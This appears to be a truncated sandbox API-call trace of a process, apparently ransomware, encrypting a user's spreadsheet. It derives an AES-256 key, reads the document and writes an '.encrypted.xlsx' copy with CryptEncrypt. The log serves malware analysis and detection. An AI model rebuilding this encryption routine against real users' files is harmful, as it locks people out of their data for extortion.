0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.903] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.903] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.903] CryptCreateHash (in: hProv=0xe8f40633c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.903] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.904] CryptHashData (hHash=0xe8f40623a0, pbData=0xe8f418b180, dwDataLen=0x20, dwFlags=0x1) returned 1 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.904] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.904] CryptDeriveKey (in: hProv=0xe8f40633c0, Algid=0x660e, hBaseData=0xe8f40623a0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.904] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.904] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0023.904] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.904] CryptDestroyHash (hHash=0xe8f40623a0) returned 1 [0023.905] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.906] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\6vp y1.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0023.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0023.906] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0023.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.906] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.906] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\" (normalized: "c:\\users\\5jghkoaofdp\\documents")) returned 0x11 [0023.907] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\6VP Y1.encrypted.xlsx" (normalized: "c:\\users\\5jghkoaofdp\\documents\\6vp y1.encrypted.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0023.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.907] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.908] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0023.908] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0xfd97, lpOverlapped=0x0) returned 1 [0023.910] ReadFile (in: hFile=0x1fc, lpBuffer=0xe8f41a09b0, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f41a09b0*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0023.912] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.912] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.912] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.912] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0023.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.913] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.913] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0023.913] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.913] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0023.914] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.914] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.914] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.914] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0023.914] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.914] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064b00, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064b00*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0023.914] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.914] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.915] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.915] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.915] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.916] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.916] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfd97, dwBufLen=0x0 | out: pbData=0x0, pdwDataLen=0xe8f3dfdf68*=0xfda0) returned 1 [0023.916] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.916] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.916] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.916] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.916] CharLowerBuffW (in: lpsz="byte[64929]", cchLength=0xb | out: lpsz="byte[64929]") returned 0xb [0023.916] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0023.917] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.917] CryptEncrypt (in: hKey=0xe8f40624f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe8f41f02b0*, pdwDataLen=0xe8f3dfdf68*=0xfd97, dwBufLen=0xfda0 | out: pbData=0xe8f41f02b0*, pdwDataLen=0xe8f3dfdf68*=0xfda0) returned 1 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.917] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0023.917] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.917] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.918] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0023.918] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.918] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0023.918] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0023.921] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.921] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.921] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0023.922] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.922] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe0f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe0f0) returned 0 [0023.922] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0023.922] CryptDestroyKey (hKey=0xe8f40624f0) returned 1 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe990, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe990) returned 0 [0023.922] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.922] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe350, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe350) returned 0 [0023.922] PeekMessageW (in: lpMsg=0xe8f3dfe670, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe670) returned 0 [0023.923] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0023.923] PeekMessageW (in: 